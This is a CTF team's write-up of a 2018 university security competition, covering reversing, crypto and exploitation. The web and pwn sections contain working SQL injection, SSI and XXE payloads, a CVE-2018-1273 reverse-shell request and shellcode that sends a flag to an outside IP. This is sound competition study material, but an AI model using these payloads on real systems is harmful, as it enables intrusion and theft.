高校运维赛 2018 Writeup -- CNSS
yype CTF 9148浏览 · 2018-11-18 23:11

RE

Hide and Seek

from z3 import *
from IPython import embed

flags = []

for _ in xrange(53):
  flags.append(BitVec('a' + str(_),8))

so = Solver()
v0 = 34 * flags[0]+ 3 * flags[0] * flags[0]+ 120 * flags[0] * flags[0] * flags[0]+ 12
so.add(v0 == 39437721)

v0 = 96 * flags[1]+ 127 * flags[1] * flags[1]+ 41 * flags[1] * flags[1] * flags[1]+ 87
so.add(v0 == 16633575)
v0 = 26 * flags[2]+ 70 * flags[2] * flags[2]+ 12 * flags[2] * flags[2] * flags[2]+ 33
so.add(v0 == 7345865)
v0 = 88 * flags[3]+ 31 * flags[3] * flags[3]+ 71 * flags[3] * flags[3] * flags[3]+ 105
so.add(v0 == 132601485)

v0 = 67 * flags[4]+ 29 * flags[4] * flags[4]+ 69 * flags[4] * flags[4] * flags[4]+ 32
so.add(v0 == 122670437)
v0 = 23 * flags[5]+ 79 * flags[5] * flags[5]+ 117 * flags[5] * flags[5] * flags[5]+ 112
so.add(v0 == 160988851)
v0 = 101 * flags[6]+ 101 * flags[6] * flags[6]+ 13 * flags[6] * flags[6] * flags[6]+ 25
so.add(v0 == 22215400)
v0 = 120 * flags[7]+ 25 * flags[7] * flags[7]+ 37 * flags[7] * flags[7] * flags[7]+ 106
so.add(v0 == 31960006)
v0 = 101 * flags[8]+ 92 * flags[8] * flags[8]+ 40 * flags[8] * flags[8] * flags[8]+ 35
so.add(v0 == 62063350)
v0 = 11 * flags[9]+ 31 * flags[9] * flags[9]+ 67 * flags[9] * flags[9] * flags[9]+ 99
so.add(v0 == 75702427)
v0 = 16 * flags[10]+ 67 * flags[10] * flags[10]+ 74 * flags[10] * flags[10] * flags[10]+ 17
so.add(v0 == 102031994)
v0 = 21 * flags[11]+ 93 * flags[11] * flags[11]+ 67 * flags[11] * flags[11] * flags[11]+ 2
so.add(v0 == 108583607)
v0 = 62 * flags[12]+ 109 * flags[12] * flags[12]+ 107 * flags[12] * flags[12] * flags[12]+ 61
so.add(v0 == 136067317)
v0 = 104 * flags[13]+ 47 * flags[13] * flags[13]+ 117 * flags[13] * flags[13] * flags[13]+ 79
so.add(v0 == 117480479)

v5 = 68 * flags[14]+ 124 * flags[14] * flags[14]+ 88 * flags[14] * flags[14] * flags[14]+ 115
so.add( v5 == 76574675 )
v0 = 86 * flags[15]+ 50 * flags[15] * flags[15]+ (flags[15] * flags[15] * flags[15] * (2**6))+ 93
so.add(v0 == 70473929)
v0 = 100 * flags[16]+ 70 * flags[16] * flags[16]+ 118 * flags[16] * flags[16] * flags[16]+ 84
so.add(v0 == 162254112)
v0 = 39 * flags[17]+ 76 * flags[17] * flags[17]+ 50 * flags[17] * flags[17] * flags[17]+ 23
so.add(v0 == 43558378)
v0 = 101 * flags[18]+ 74 * flags[18] * flags[18]+ 67 * flags[18] * flags[18] * flags[18]+ 45
so.add(v0 == 71881179)
v0 = 31 * flags[19]+ 115 * flags[19] * flags[19]+ 101 * flags[19] * flags[19] * flags[19]+ 7
so.add(v0 == 139551094)
v0 = 20 * flags[20]+ 11 * flags[20] * flags[20]+ 69 * flags[20] * flags[20] * flags[20]+ 119
so.add(v0 == 102371891)
v0 = 83 * flags[21]+ 122 * flags[21] * flags[21]+ 27 * flags[21] * flags[21] * flags[21]+ 111
so.add(v0 == 24258171)
v0 = 34 * flags[22]+ 51 * flags[22] * flags[22]+ 66 * flags[22] * flags[22] * flags[22]+ 10
so.add(v0 == 88466850)
v0 = 16 * flags[23]+ 58 * flags[23] * flags[23]+ 115 * flags[23] * flags[23] * flags[23]+ 35
so.add(v0 == 105504704)
v0 = 50 * flags[24]+ 125 * flags[24] * flags[24]+ 51 * flags[24] * flags[24] * flags[24]+ 18
so.add(v0 == 79223518)
v0 = 26 * flags[25]+ 127 * flags[25] * flags[25]+ 10 * flags[25] * flags[25] * flags[25]+ 3
so.add(v0 == 10950294)
v0 = 122 * flags[26]+ 83 * flags[26] * flags[26]+ 92 * flags[26] * flags[26] * flags[26]+ 60
so.add(v0 == 126858297)
v0 = 56 * flags[27]+ 36 * flags[27] * flags[27]+ 110 * flags[27] * flags[27] * flags[27]+ 69
so.add(v0 == 146851829)
v0 = 110 * flags[28]+ 23 * flags[28] * flags[28]+ 32 * flags[28] * flags[28] * flags[28]+ 127
so.add(v0 == 32241127)
v0 = 58 * flags[29]+ 123 * flags[29] * flags[29]+ 22 * flags[29] * flags[29] * flags[29]+ 44
so.add(v0 == 26829959)
v0 = 122 * flags[30]+ 60 * flags[30] * flags[30]+ 92 * flags[30] * flags[30] * flags[30]+ 65
so.add(v0 == 123191485)
v0 = 88 * flags[31]+ 36 * flags[31] * flags[31]+ 38 * flags[31] * flags[31] * flags[31]+ 38
so.add(v0 == 52423340)
v0 = 80 * flags[32]+ 72 * flags[32] * flags[32]+ 127 * flags[32] * flags[32] * flags[32]+ 44
so.add(v0 == 109544069)
v0 = 13 * flags[33]+ 23 * flags[33] * flags[33]+ 94 * flags[33] * flags[33] * flags[33]+ 28
so.add(v0 == 158732224)
v0 = 80 * flags[34]+ 24 * flags[34] * flags[34]+ 46 * flags[34] * flags[34] * flags[34]+ 79
so.add(v0 == 63215689)
v0 = 100 * flags[35]+ 101 * flags[35] * flags[35]+ 75 * flags[35] * flags[35] * flags[35]+ 104
so.add(v0 == 112439900)
v0 = 96 * flags[36]+ 8 * flags[36] * flags[36]+ 4 * flags[36] * flags[36] * flags[36]+ 49
so.add(v0 == 5142577)
v0 = 14 * flags[37]+ 89 * flags[37] * flags[37]+ 113 * flags[37] * flags[37] * flags[37]+ 56
so.add(v0 == 113891456)
v0 = 9 * flags[38]+ 82 * flags[38] * flags[38]+ 18 * flags[38] * flags[38] * flags[38]+ 74
so.add(v0 == 16173729)
v0 = 56 * flags[39]+ 14 * flags[39] * flags[39]+ 117 * flags[39] * flags[39] * flags[39]+ 70
so.add(v0 == 113667811)
v0 = 53 * flags[40]+ 49 * flags[40] * flags[40]+ 89 * flags[40] * flags[40] * flags[40]+ 94
so.add(v0 == 100648486)
v4 = 6 * flags[41]+ 23 * flags[41] * flags[41]+ 38 * flags[41] * flags[41] * flags[41]+ 22
so.add(v4 == 34898585)
v0 = 29 * flags[42]+ 72 * flags[42] * flags[42]+ 21 * flags[42] * flags[42] * flags[42]+ 43
so.add(v0 == 28054245)
v0 = 16 * flags[43]+ 90 * flags[43] * flags[43]+ 68 * flags[43] * flags[43] * flags[43]+ 105
so.add(v0 == 96665961)
v0 = 73 * flags[44]+ 116 * flags[44] * flags[44]+ 102 * flags[44] * flags[44] * flags[44]+ 51
so.add(v0 == 119364366)
v0 = 101 * flags[45]+ 15 * flags[45] * flags[45]+ 13 * flags[45] * flags[45] * flags[45]+ 34
so.add(v0 == 17975263)
v0 = 59 * flags[46]+ 72 * flags[46] * flags[46]+ 52 * flags[46] * flags[46] * flags[46]+ 83
so.add(v0 == 70089773)
v0 = 50 * flags[47]+ 22 * flags[47] * flags[47]+ 55 * flags[47] * flags[47] * flags[47]+ 41
so.add(v0 == 83944866)
v0 = 77 * flags[48]+ 42 * flags[48] * flags[48]+ 119 * flags[48] * flags[48] * flags[48]+ 110
so.add(v0 == 134321206)
v0 = 91 * flags[49]+ 38 * flags[49] * flags[49]+ 126 * flags[49] * flags[49] * flags[49]+ 64
so.add(v0 == 146289319)
v0 = 113 * flags[50]+ 113 * flags[50] * flags[50]+ 119 * flags[50] * flags[50] * flags[50]+ 22
so.add(v0 == 168616582)
v0 = 24 * flags[51]+ 88 * flags[51] * flags[51]+ 98 * flags[51] * flags[51] * flags[51]+ 30
so.add(v0 == 192784280)
v0 = 96 * flags[52]+ 12 * flags[52] * flags[52]+ 74 * flags[52] * flags[52] * flags[52]+ 104
so.add(v0 == 104)

print(so.check())
m = so.model()
print(m)
res = ''
for ii in xrange(53):
  t = m[flags[ii]]
  print(t)
  res += chr(int(t.as_long()))
print(res)

you_should_go_for_nascondino_world_championship

tailbone

验证flag的函数是在exit里调用的,调用栈如下

#0  0x0000000000400647 in flag_wrong ()
#1  0x00007ffff7de7de7 in _dl_fini () at dl-fini.c:235
#2  0x00007ffff7a46ff8 in __run_exit_handlers (status=0, listp=0x7ffff7dd15f8 <__exit_funcs>, run_list_atexit=run_list_atexit@entry=true) at exit.c:82
#3  0x00007ffff7a47045 in __GI_exit (status=<optimized out>) at exit.c:104
#4  0x00007ffff7a2d837 in __libc_start_main (main=0x400648 <main>, argc=1, argv=0x7fffffffd5d8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffd5c8) at ../csu/libc-start.c:325
#5  0x0000000000400559 in _start ()

dl_fini+819有个call,这个函数把输入装进xmm寄存器,然后用aesenc指令加密,最后比较

_eh_frame段里是真正的加密函数

static uint8_t xtime(uint8_t x)
{
  return ((x<<1) ^ (((x>>7) & 1) * 0x1b));
}

static uint8_t Multiply(uint8_t x, uint8_t y)
{
  return (((y & 1) * x) ^
       ((y>>1 & 1) * xtime(x)) ^
       ((y>>2 & 1) * xtime(xtime(x))) ^
       ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^
       ((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */
  }

static void InvMixColumns(state_t* state)
{
  int i;
  uint8_t a, b, c, d;
  for (i = 0; i < 4; ++i)
  { 
    a = (*state)[i][0];
    b = (*state)[i][1];
    c = (*state)[i][2];
    d = (*state)[i][3];

    (*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
    (*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
    (*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
    (*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
  }
}


// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void InvSubBytes(state_t* state)
{
  uint8_t i, j;
  for (i = 0; i < 4; ++i)
  {
    for (j = 0; j < 4; ++j)
    {
      (*state)[j][i] = getSBoxInvert((*state)[j][i]);
    }
  }
}

static void InvShiftRows(state_t* state)
{
  uint8_t temp;

  // Rotate first row 1 columns to right  
  temp = (*state)[3][1];
  (*state)[3][1] = (*state)[2][1];
  (*state)[2][1] = (*state)[1][1];
  (*state)[1][1] = (*state)[0][1];
  (*state)[0][1] = temp;

  // Rotate second row 2 columns to right 
  temp = (*state)[0][2];
  (*state)[0][2] = (*state)[2][2];
  (*state)[2][2] = temp;

  temp = (*state)[1][2];
  (*state)[1][2] = (*state)[3][2];
  (*state)[3][2] = temp;

  // Rotate third row 3 columns to right
  temp = (*state)[0][3];
  (*state)[0][3] = (*state)[1][3];
  (*state)[1][3] = (*state)[2][3];
  (*state)[2][3] = (*state)[3][3];
  (*state)[3][3] = temp;
}

static void aesdec(state_t* state, uint8_t* RoundKey)
{
  AddRoundKey(0, state, RoundKey);
  InvMixColumns(state);
  InvSubBytes(state);
  InvShiftRows(state);
}

然后

aesdec(xmm0, xmm5)
aesdec(xmm0, xmm4)
aesdec(xmm0, xmm3)
aesdec(xmm0, xmm2)
aesdec(xmm1, xmm9)
aesdec(xmm1, xmm8)
aesdec(xmm1, xmm7)
aesdec(xmm1, xmm6)

get flag

web

SimpleBBS

登录 sql注入 sqlmap直接跑

python sqlmap.py -u "http://bbs.sec.zju.edu.cn/index.php/login/valid" --data "username=*&password=asd" -D bbs -T flag --dump

SimpleBlog

import hashlib
import requests
import re
import random
import time
import threading
import binascii


reg = "http://210.32.4.20/register.php"
log = "http://210.32.4.20/login.php"
pro = "http://210.32.4.20/answer.php"

def md5(msg):
    return hashlib.md5(msg.encode()).hexdigest()


def deadbeef(payload):
    #random_str = "".join(random.sample("abcdefghijklmnopqrstuvwxyz", 10))
    random_str = ""
    usr = payload + random_str
    # print(usr)
    s = requests.session()
    # print('[Session start]')
    s.post(reg, data={'username': usr, 'password': "werewr123"})
    # print("[Registered]")
    s.post(log, data={'username': usr, 'password': "werewr123"})
    # print("[Log in]")
    text = s.post(pro, data={'10.d':'on'}).text
    # print("[Submit]")


def two(ind, cont, pos, flag):
    print("[pos %d start]" % pos)
    payload = "admin' and if((({})>'{}{}'),(select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C),0)#"
    #payload = "admin' and if((({})>'{}{}'),(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C,information_schema.columns D),0)#"
    l = 33
    r = 127
    while l < r:
        mid = (l + r) >> 1
        time1 = time.time()
        deadbeef(payload.format(cont, flag, chr(mid)))
        time2 = time.time()
        if time2-time1 > 10:
            l = mid + 1
        else:
            r = mid
    flag += chr(l-1)
    print(flag)
    return flag
    # result[pos] = chr(l)
    print("[pos %d end]" % pos)


def sqli(cont):
    print("[Start]")
    sz = 40
    flag = ""
    for i in range(1, sz + 1):
        flag = two(i, cont, i, flag)

    #for i in range(1, sz + 1):
    #    if i > sz:
    #        t[i % sz].join()
    #    t[i % sz] = threading.Thread(target=two, args=(i, cont, i, res))
    #    t[i % sz].start()
    #    t[i % sz].join()
    #for th in t:
    #    th.join()
    #return "".join(res)


res = sqli("select flag from flag")
# print(res)

SimpleServerInjection

http://210.32.4.22/index.php?name=<!--#include virtual="flag" -->

SimpleExtensionExplorerInjection

POST /www/ HTTP/1.1
Host: 210.32.4.21:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://210.32.4.21:8080/www/index.html
Content-Type: application/xml; charset=UTF-8
Content-Length: 130
Connection: close

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<deadbeef>
<age>&xxe;</age>
</deadbeef>

SimplePrintEventLogger

CVE-2018-1273

反弹shell POC

POST /www/backdoor HTTP/1.1
Host: 210.32.4.21:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 197

command[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash+-c+%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC80Mi4xNTkuNC4xNi8yMzMyMyAwPiYx%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d")]=asd

SimpleAssemblyReverse

不太明白题目里都写着Reverse了为啥还算在Web分类下面0.0

静态分析及准备

访问IP只有一个输入窗口和按钮

之前做过几个WebAssembly的题目了,也算轻车熟路了233

用Chrome按F12调出Network窗口,找到flag.wasm,选择Open in new tab,即可保存下来binary
(Firefox也是可以下载和动态调试的,但是试了一下没有找到在哪里查看内存,所以就放弃了)

这个binary是编译过的,没有可读性,因此需要使用官方的wabt套件中的wasm2c, wasm2wat工具来反编译

当然这个c语言和wat的可读性仍然不高,只是将每个寄存器都直接作为局部变量显示出来而已

所以要逆向的话一方面以此作为参考,另一方面主要还是动态调试

动态调试的方法

打开f12的Sources窗口,看到html的源代码中调用了_check函数

而在wasm中是看不到函数名字的,只有标号

通过wasm2wat可以找到对应关系

(export "_check" (func 53))

然后在左侧找到wasm,选择合适的函数打开即可下断

(如果没有wasm,多刷新两次,瞎鸡儿点点试试233)

另一边也可以打开wasm2c的结果对照着看,里面的函数是有check的名字

当下在check的断点被触发以后,就能看到此时的内存和栈了

wasm是基于栈的,它的所有计算都是以栈顶的若干元素进行操作的,例如add表示将栈顶的两个数弹出,相加后再压进栈;store表示将栈顶的数存入下一个数指向的内存,然后弹出这两个数。

右侧Scope一栏里的信息是最主要需要关注的

  • Global
    对应Firefox中的Memory,Chrome将其视作一个巨大的数组,通过下标查看值
  • Local
    • locals
      显示参数和局部变量,每个函数使用的局部变量是彼此独立的
    • stack
      操作栈,所有运算都基于它

右上方的几个熟悉的图标就是调试命令的按钮啦,快捷键分别为F8是Run,F10是步过Next,F11是步进Step

本题题解

单步跟着调试,通过locals的值可以发现两个参数分别是input和len

第一个判断很容易发现

//104 line
  get_local 172
  i32.const 38
  i32.ne
  set_local 173
  get_local 173
  if

将长度和38放入栈中,然后用i32.ne来判断,后面if就是识别栈里的内容为1则继续,否则跳到else分支里

我们可以看到,不等时的分支会直接return 0;

也就是说长度要求为48

第二个运算在这里

//line 247
      get_local 14
      i32.const 3
      i32.add
      set_local 15
      get_local 15
      i32.const 255
      i32.and

逐字符+3
(前面还有一些初始化空间的循环操作,没啥关系我就直接跳过了)

后面我跟了很久的正向操作都没有找到有用的信息,f797里实在是太绕了
(可能其实就是没啥用-A-)

后来想起来倒着从返回值逆推

拉到函数最后去看,这里推荐主要参考wasm2c的结果

i0 = l149;
  i0 = i32_load8_s(Z_envZ_memory, (u64)(i0));
  l5 = i0;
  i0 = l5;
  i1 = 1u;
  i0 &= i1;
  l100 = i0;
  i0 = l191;
  g10 = i0;
  i0 = l100;
  goto Bfunc;
  Bfunc:;
  FUNC_EPILOGUE;
  return i0;

这里可以看出来返回值存储在l149指向的内存中,继续跟着l149向上找

i0 = l123;
  i0 = i32_load8_s(Z_envZ_memory, (u64)(i0));
  l4 = i0;
  i0 = l4;
  i1 = 1u;
  i0 &= i1;
  l99 = i0;
  i0 = l99;
  i1 = 1u;
  i0 &= i1;
  l3 = i0;
  i0 = l149;
  i1 = l3;
  i32_store8(Z_envZ_memory, (u64)(i0), i1);

同理,返回值在l123指向的内存中

i0 = f798(i0, i1, i2, i3, i4);//要求i0=1
    l97 = i0;
    i0 = l97;
    i1 = 0u;
    i0 = i0 == i1;
    l98 = i0;
    i0 = l98;
    i1 = 1u;
    i0 &= i1;
    l2 = i0;
    i0 = l123;
    i1 = l2;
    i32_store8(Z_envZ_memory, (u64)(i0), i1);

往上一点儿就看到这里了

这一大堆东西实际上可以简化成

return f798();

因此我们需要去逆一下f798?

不,直接动调看它的参数和返回值就好了,当成黑盒来操作

下断,运行,触发断点

stack:
0:24624
1:0
2:-1
3:13910
4:52

去Globals里依次查看i0和i3

很明显这是一串数据,先放着不管,去看另一个

这个地方只有3个字节,但其实它是个指针(这一点是在之前正向跟随的时候注意到有i32.store会四字节存放、而调试器只会把每个字节以十进制显示)

把624开头的4个字节以大端序转换成十六进制可以得到下一个地址:0x506998,再转成十进制5269912去查看Globals

又是一串数据,前后都是0,可以看到长度为52个字节,对应上参数4

可以修改一下输入再测试一下,发现后者的地址和值都变了,而13910处的值没有改变,所以可以推测出是input->*24624, strcmp(13910, *24624)

继续往上溯源,可以找到是f52对Input进行了改变,由38个字节input变成52个字节output

这两个数字敏感一些的人就直接可以猜到了

我觉得奇怪不是逐字节加密,于是继续往里跟着看了一下,发现有/3、/4操作的时候就反应过来了--base64

于是把之前那两串数据dump下来,转成ASCII再解b64,分别得到

>>> a = [chr(i) for i in [77, 122, 81, 49, 78, 106, 99, 52, 79, 84, 111, 55, 80, 68, 77, 48, 78, 84, 89, 51, 79, 68, 107, 54, 79, 122, 119, 122, 78, 68, 85, 50, 78, 122, 103, 53, 79, 106, 115, 56, 77, 122, 81, 49, 78, 106, 99, 52, 79, 84, 111, 61]]
>>> base64.b64decode("".join(a).encode())
b'3456789:;<3456789:;<3456789:;<3456789:'
>>> a = [chr(i) for i in [97, 87, 57, 107, 97, 110, 52, 48, 78, 71, 103, 122, 79, 84, 78, 107, 78, 87, 90, 111, 78, 68, 116, 108, 79, 106, 108, 111, 78, 109, 107, 49, 79, 84, 104, 109, 78, 122, 107, 52, 79, 50, 100, 107, 80, 68, 82, 111, 90, 111, 65, 61
... ]]
>>> base64.b64decode("".join(a).encode())
b'iodj~44h393d5fh4;e:9h6i598f798;gd<4hf\x80'

有点像乱码,但是没有报错说明思路没错

前者对应的输入是

01234567890123456789012345678901234567

可以看到非常相似,再回想一下还有一个操作,是逐字符+3,正好对应上

于是对后一个串做逐字符-3,就得到了结果

>>> "".join([chr(i-3) for i in base64.b64decode("".join(a).encode())])
'flag{11e060a2ce18b76e3f265c4658da91ec}'

Misc

GoGoGo

ftp 传了个 gogogo.png 抠出来就是flag

Checkin

from pwn import *

p=remote("210.32.4.14",port=13373)
line1=''
line2=''
line3=''
line4=''
line5=''
line6=''
line7=''
line8=''
line9=''
line10=''
line11=''

line={}
for i in range(10):
    line[str(i)]={}
for i in 'abcdefghijklmnopqrstuvwxyz':
    line[i]={}

line['a'][7]='d8(  888          '
line['b'][4]=' 888oooo.         '
line['c'][8]='`Y8bod8P\'         '
line['c'][6]='888               '
line['d'][4]=' .oooo888         '
line['e'][6]='888ooo888         '
line['f'][3]=' 888 `"           '
line['g'][4]=' .oooooooo        '
line['h'][5]=' 888P"Y88b        '
line['i'][3]=' `"\'              '
line['j'][10]='.o. 88P           '
line['k'][4]=' 888  oooo        '
line['l'][3]='`888              '
line['l'][4]=' 888              '
line['l'][5]=' 888              '
line['l'][6]=' 888              '
line['m'][8]='o888o o888o o888o '
line['n'][5]='`888P"Y88b        '
line['o'][6]='888   888         '
line['o'][7]='888   888         '
line['o'][9]='                  '
line['p'][8]=' 888bod8P\'        '
line['q'][4]=' .ooooo oo        '
line['r'][4]='oooo d8b          '
line['s'][5]='d88(  "8          '
line['t'][4]='.o888oo           '
line['u'][4]='oooo  oooo        '
line['v'][5]=' `88.  .8\'        '
line['v'][9]='                  '
line['w'][6]='  `88..]88..8\'    '
line['x'][4]='oooo    ooo       '
line['x'][9]='                  '
line['y'][10]='`Y8P\'             '
line['y'][9]='.o..P\'            '
line['z'][5]=' d\'\"\"7d8P         '
line['0'][3]=' d8P\'`Y8b         '
line['1'][2]='   .o             '
line['2'][4]='      ]8P\'        '
line['2'][8]='8888888888        '
line['3'][4]='      ]8P\'        '
line['4'][4]='  .d\'888          '
line['5'][3]=' dP"""""""        '
line['6'][8]=' `88bod8\'         '
line['7'][3]='d"""""""8\'        '
line['8'][6]='.8\'  ``88b        '
line['9'][3]='888\' `Y88.        '


def retchar(i):
    if line7[i:i+18]==line['a'][7]:
        return 'a'
    if line4[i:i+18]==line['b'][4]:
        return 'b'
    if line8[i:i+18]==line['c'][8] and line6[i:i+18]==line['c'][6]:
        return 'c'
    if line4[i:i+18]==line['d'][4]:
        return 'd'
    if line6[i:i+18]==line['e'][6]:
        return 'e'
    if line3[i:i+18]==line['f'][3]:
        return 'f'
    if line4[i:i+18]==line['g'][4]:
        return 'g'
    if line5[i:i+18]==line['h'][5]:
        return 'h'
    if line3[i:i+18]==line['i'][3]:
        return 'i'
    if line10[i:i+18]==line['j'][10]:
        return 'j'
    if line4[i:i+18]==line['k'][4]:
        return 'k'
    if line3[i:i+18]==line['l'][3] and line4[i:i+18]==line['l'][4] and line5[i:i+18]==line['l'][5] :
        return 'l'
    if line8[i:i+18]==line['m'][8]:
        return 'm'
    if line5[i:i+18]==line['n'][5]:
        return 'n'
    if line6[i:i+18]==line['o'][6] and line9[i:i+18]==line['o'][9] and line7[i:i+18]==line['o'][7]:
        return 'o'
    if line8[i:i+18]==line['p'][8]:
        return 'p'
    if line4[i:i+18]==line['q'][4]:
        return 'q'
    if line4[i:i+18]==line['r'][4]:
        return 'r'
    if line5[i:i+18]==line['s'][5]:
        return 's'
    if line4[i:i+18]==line['t'][4]:
        return 't'
    if line4[i:i+18]==line['u'][4]:
        return 'u'
    if line5[i:i+18]==line['v'][5] and line9[i:i+18]==line['v'][9]:
        return 'v'
    if line6[i:i+18]==line['w'][6]:
        return 'w'
    if line4[i:i+18]==line['x'][4] and line9[i:i+18]==line['x'][9]:
        return 'x'
    if line10[i:i+18]==line['y'][10] and line9[i:i+18]==line['y'][9]:
        return 'y'
    if line5[i:i+18]==line['z'][5]:
        return 'z'
    if line3[i:i+18]==line['0'][3]:
        return '0'
    if line2[i:i+18]==line['1'][2]:
        return '1'
    if line4[i:i+18]==line['2'][4] and line8[i:i+18]==line['2'][8]:
        return '2'
    if line4[i:i+18]==line['3'][4]:
        return '3'
    if line4[i:i+18]==line['4'][4]:
        return '4'
    if line3[i:i+18]==line['5'][3]:
        return '5'
    if line8[i:i+18]==line['6'][8]:
        return '6'
    if line3[i:i+18]==line['7'][3]:
        return '7'
    if line6[i:i+18]==line['8'][6]:
        return '8'
    if line3[i:i+18]==line['9'][3]:
        return '9'

    return '+'

p.recvuntil('A 20 rounds unCAPTCHA to get your flag! you may need a wider screen...\n')
for time in range(20):
    if time == 0:
        line1 = p.recvline()
    line2 = p.recvline()
    line3 = p.recvline()
    line4 = p.recvline()
    line5 = p.recvline()
    line6 = p.recvline()
    line7 = p.recvline()
    line8 = p.recvline()
    line9 = p.recvline()
    line10 = p.recvline()
    line11 = p.recvuntil('your captcha:')

    payload=''
    for i in range(0,6*18,18):
        payload+=retchar(i)
    print "payload : "+payload
    p.sendline(payload)

print p.recv(1024)
p.interactive()

Youchat

爆破时间戳

服务器时间戳 = 1537004467

算出key用recv函数把msg解掉就行

Crypto

AzureRSA

$p=\gcd(n_1,n_2)$ 可以直接求出来

from data import *
import gmpy2


def main():
    f14 = crt([n1, n2], [pow(c1, d1, n1), pow(c2, d2, n2)])
    d14 = modinv(14, (q1 - 1) * (q2 - 1))
    f2 = pow(f14, d14, q1 * q2)
    f = int(gmpy2.isqrt(f2))
    print(f.to_bytes(64, 'big'))


if __name__ == '__main__':
    main()

可以解 $c_1^{d_1}\equiv m^{14}\pmod{n_1}\c_2^{d_2}\equiv m^{14}\pmod{n_2}$

可用剩余定理求得 $m^{14}\pmod{\operatorname{lcm}(n_1,n_2)}$

设 $e=14$, 可以解得 $\displaystyle d\equiv\left(\frac {14}2\right)^{-1}\pmod{q_1q_2}$, 则 $\left(m^e\right)^d\equiv m^2\pmod{p_1p_2}$, 直接开根号.

pwn

hack

分别leak出libc的地址,随后从envp leak出栈的地址

用unlink攻击栈,让栈迁移到堆上执行one_gadget

from pwn import *
context.log_level = 'debug'
context.aslr = True
def pwn(p):
    p.recvuntil('address:')
    p.sendline(str(0x804A010))
    p.recvuntil('0x')
    libc_base = int(p.recvuntil('\n', drop=True), 16) - 0x49020
    log.success('libc:{}'.format(hex(libc_base)))
    p.recvuntil('Second chance: ')
    p.sendline(str(libc_base + 0x001B1DBC))
    p.recvuntil('0x')
    stack_ptr = int(p.recvuntil('\n', drop=True), 16)
    old_esp_addr = stack_ptr - 0xb8
    log.success('stack_ptr:{}'.format(hex(stack_ptr)))
    log.success('old_esp_addr:{}'.format(hex(old_esp_addr)))

    p.recvuntil('of the node is 0x')
    heap_base = int(p.recvuntil(',', drop=True), 16) - 0x20
    log.success('heap_base:{}'.format(hex(heap_base)))

    p.recvuntil('node now: ')
    payload = p32(0x3A940 + libc_base) + 'sh\x00\x00' + p32(heap_base + 0x20 + 4) + p32(old_esp_addr - 0x8)
    payload = p32(0x3a80e + libc_base) + 'sh\x00\x00' + p32(heap_base + 0x20 + 4) + p32(old_esp_addr - 0x8)
    payload = p32(0x3a819 + libc_base) + 'sh\x00\x00' + p32(heap_base + 0x20 + 4) + p32(old_esp_addr - 0x8)


    #gdb.attach(p)
    p.send(payload)
    p.interactive()


if __name__ == '__main__':
    p = process('./hack')
    p = remote('210.32.4.16', 13375)
    pwn(p)

DNS of Melody

在edit取size时 size是按int取的,当解析dns失败时会导致无限长度的栈溢出

调用memcpy在bss段copy出alarm的地址,修改低位得到syscall,调用mprotect令bss段可执行

写shellcode让程序读取flag并反弹出外界

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

def add_query(p, l, payload):
    p.recvuntil('Select:\n')
    p.sendline('1')
    p.recvuntil('give me length: \n')
    p.sendline(str(l))
    p.send(payload)

def query(p, idx):
    p.recvuntil('Select:\n')
    p.sendline('2')
    p.recvuntil('give me index: \n')
    p.sendline(str(idx))

def edit_query(p, idx, payload):
    p.recvuntil('Select:\n')
    p.sendline('4')
    p.recvuntil('give me index: \n')
    p.sendline(str(idx))
    p.send(payload)


def pwn(p):
    bss_addr = 0x602300
    #gdb.attach(p)
    payload = 'test\n'
    add_query(p, 0x100, payload)
    query(p, 0)
    payload = '\x0510\x00aaaa'

    payload += asm(shellcraft.amd64.linux.connect('39.108.116.36', 12345))
    payload += asm(shellcraft.amd64.linux.readfile('flag', 0))
    payload = payload.ljust(0x190, 'a')
    payload += p64(0) + p64(0)*2
    payload += flat([0x4012AA, 0, 1, 0x601FE0, 8, 0x601FA8, bss_addr, 0x401290]) # memcpy
    payload += flat([0, 0, 1, 0x601FE0, 1, 0x602060, bss_addr, 0x401290]) # memcpy
    payload += flat([0, 0, 1, 0x601FF0, 0,  0, 0x602061, 0x401290]) # atoi
    payload += flat([0, 0, 1, bss_addr, 7,  0x1000, 0x602000, 0x401290]) # mprotect

    payload += flat([0, 0, 0, 0, 0,  0, 0, 0x602068])

    edit_query(p, 0, payload + '\n')
    p.interactive()

if __name__ == '__main__':
    #p = process('./dns_of_melody')
    p = remote('210.32.4.15', 13374)
    pwn(p)
0 条评论
某人
表情
可输入 255